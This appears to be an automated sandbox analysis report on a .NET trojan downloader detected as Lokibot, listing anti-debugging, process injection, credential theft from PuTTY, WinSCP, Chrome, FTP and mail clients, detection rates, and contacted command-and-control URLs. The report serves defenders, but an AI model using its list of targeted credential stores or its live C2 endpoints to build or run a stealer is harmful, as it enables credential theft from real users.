Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Thread information set: HideFromDebugger

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process queried: DebugPort
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Code function: 5_2_0040317B mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Code function: 5_2_00402B7C GetProcessHeap,RtlAllocateHeap,

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Memory written: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1

Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000005.00000002.513935830.0000000001390000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000005.00000002.513935830.0000000001390000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000005.00000002.513935830.0000000001390000.00000002.00000001.sdmp	Binary or memory string: SProgram Managerl
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000005.00000002.513935830.0000000001390000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd,
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000005.00000002.513935830.0000000001390000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe VolumeInformation
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Code function: 5_2_00406069 GetUserNameW,

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected Lokibot

Show sources

Source: Yara match	File source: 00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.299347125.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.300559683.00000000041EE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe PID: 5804, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe PID: 2576, type: MEMORY
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.unpack, type: UNPACKEDPE

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Tries to steal Mail credentials (via file registry)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: PopPassword
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Code function: SmtpPassword

Source: Yara match	File source: 00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.299347125.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.300559683.00000000041EE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe PID: 5804, type: MEMORY
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Access Token Manipulation1	Masquerading1	OS Credential Dumping2	Security Software Discovery231	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Process Injection112	Virtualization/Sandbox Evasion13	Credentials in Registry2	Virtualization/Sandbox Evasion13	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools1	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Local System2	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Access Token Manipulation1	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol114	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection112	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information2	DCSync	File and Directory Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Timestomp1	Proc Filesystem	System Information Discovery13	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	43%	Virustotal		Browse
SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	17%	ReversingLabs	ByteCode-MSIL.Backdoor.Androm
SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1100849	Download File

Domains

Source	Detection	Scanner	Label	Link
liverpooldabestteamoftheworld.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://www.liverpool.com/liverpool-fc-news/features/liverpool-ozan-kabak-future-audition-19954616	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s458/1_WhatsApp-Image-2021-03-	0%	Avira URL Cloud	safe
https://www.liverpool.com/schedule/	0%	Avira URL Cloud	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
https://s2-prod.liverpool.com/	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-02-	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s220b/0_GettyImages-1231353837	0%	Avira URL Cloud	safe
https://liverpooldabestteamoftheworld.com/liverpool-fc-news/features/steven-gerrard-liverpool-future	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_GettyImages-1273716690	0%	Avira URL Cloud	safe
http://liverpooldabestteamoftheworld.com	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s615/0_GettyImages-1273716690.	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s270b/0_Salah-Pressing.jpg	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s270b/0_WhatsApp-Image-2021-02	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s220b/0_RobertsonCross1.jpg	0%	Avira URL Cloud	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-andy-robertson-valuable-quality-19946	0%	Avira URL Cloud	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-jurgen-klopp-pressing-tactics-1993836	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s615/0_Salah-Pressing.jpg	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-	0%	Avira URL Cloud	safe
https://www.liverpool.com/all-about/premier-league	0%	Avira URL Cloud	safe
http://87.251.79.157/m0ha/0/pin.phpP	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah-Pressing.jpg	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s180/0_GettyImages-1231353837.	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp-Image-2021-03-	0%	Avira URL Cloud	safe
https://www.liverpool.com/liverpool-fc-news/	0%	Avira URL Cloud	safe
https://www.liverpool.com/all-about/andrew-robertson	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_GettyImages-1231353837.	0%	Avira URL Cloud	safe
http://liverpooldabestteamoftheworld.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0E44846E8DBE171CF83840F8DBF160DC.html	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp-Image-2021-02	0%	Avira URL Cloud	safe
https://www.liverpool.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish-199590	0%	Avira URL Cloud	safe
https://www.liverpool.com/all-about/transfers	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg	0%	Avira URL Cloud	safe
https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer-1876	0%	Avira URL Cloud	safe
http://kbfvzoboss.bid/alien/fre.php	0%	URL Reputation	safe
http://kbfvzoboss.bid/alien/fre.php	0%	URL Reputation	safe
http://kbfvzoboss.bid/alien/fre.php	0%	URL Reputation	safe
http://liverpooldabestteamoftheworld.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-	0%	Avira URL Cloud	safe
https://liverpooldabestteamoftheworld.com4	0%	Avira URL Cloud	safe
http://alphastand.top/alien/fre.php	0%	URL Reputation	safe
http://alphastand.top/alien/fre.php	0%	URL Reputation	safe
http://alphastand.top/alien/fre.php	0%	URL Reputation	safe
https://reach-id.orbit.tm-awx.com/analytics.js.gz	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg	0%	Avira URL Cloud	safe
https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets-1996166	0%	Avira URL Cloud	safe
https://www.liverpool.com/liverpool-fc-news/features/	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_GettyImages-1273716690	0%	Avira URL Cloud	safe
http://alphastand.win/alien/fre.php	0%	URL Reputation	safe
http://alphastand.win/alien/fre.php	0%	URL Reputation	safe
http://alphastand.win/alien/fre.php	0%	URL Reputation	safe
http://alphastand.trade/alien/fre.php	0%	URL Reputation	safe
http://alphastand.trade/alien/fre.php	0%	URL Reputation	safe
http://alphastand.trade/alien/fre.php	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s270b/0_GettyImages-1231353837	0%	Avira URL Cloud	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-curtis-jones-jurgen-klopp-19941053	0%	Avira URL Cloud	safe
https://felix.data.tm-awx.com/felix.min.js	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s270b/0_RobertsonCross1.jpg	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s458/0_GettyImages-1273716690.	0%	Avira URL Cloud	safe
https://www.liverpool.com/all-about/ozan-kabak	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s615/1_WhatsApp-Image-2021-03-	0%	Avira URL Cloud	safe
https://www.liverpool.com/all-about/sadio-mane	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-02-	0%	Avira URL Cloud	safe
https://www.liverpool.com/all-about/curtis-jones	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s180/0_GettyImages-1273716690.	0%	Avira URL Cloud	safe
http://87.251.79.157/m0ha/0/pin.php	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s458/0_WhatsApp-Image-2021-03-	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s220b/0_Salah-Pressing.jpg	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
liverpooldabestteamoftheworld.com	172.67.197.219	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://liverpooldabestteamoftheworld.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0E44846E8DBE171CF83840F8DBF160DC.html	false	Avira URL Cloud: safe	unknown
http://kbfvzoboss.bid/alien/fre.php	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://alphastand.top/alien/fre.php	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://alphastand.win/alien/fre.php	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://alphastand.trade/alien/fre.php	true	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://87.251.79.157/m0ha/0/pin.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.liverpool.com/liverpool-fc-news/features/liverpool-ozan-kabak-future-audition-19954616	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dateofbirthrhttp://schemas.xmlsoap.org/ws/2005	WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	false		high
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s458/1_WhatsApp-Image-2021-03-	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.liverpool.com/schedule/	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddressxhttp://schemas.xmlsoap.org/ws/200	WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	false		high
http://www.ibsensoftware.com/	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://s2-prod.liverpool.com/	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-02-	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s220b/0_GettyImages-1231353837	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://liverpooldabestteamoftheworld.com/liverpool-fc-news/features/steven-gerrard-liverpool-future	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/stateorprovince	WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	false		high
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_GettyImages-1273716690	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://liverpooldabestteamoftheworld.com	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299142713.0000000003121000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s615/0_GettyImages-1273716690.	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s270b/0_Salah-Pressing.jpg	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s270b/0_WhatsApp-Image-2021-02	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s220b/0_RobertsonCross1.jpg	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/streetaddresszhttp://schemas.xmlsoap.org/ws/20	WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	false		high
https://www.liverpool.com/liverpool-fc-news/features/liverpool-andy-robertson-valuable-quality-19946	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/liverpool-jurgen-klopp-pressing-tactics-1993836	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authentication	WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	false		high
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s615/0_Salah-Pressing.jpg	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/x500distinguishednamejhttp://schemas.xmlsoap.o	WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	false		high
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.liverpool.com/all-about/premier-league	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://87.251.79.157/m0ha/0/pin.phpP	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000005.00000002.513547746.0000000000E08000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah-Pressing.jpg	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s180/0_GettyImages-1231353837.	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp-Image-2021-03-	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.liverpool.com/liverpool-fc-news/	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authorizationdecisionzhttp://schemas.xmlsoap.o	WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	false		high
https://www.liverpool.com/all-about/andrew-robertson	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_GettyImages-1231353837.	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp-Image-2021-02	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish-199590	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299142713.0000000003121000.00000004.00000001.sdmp, WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	false		high
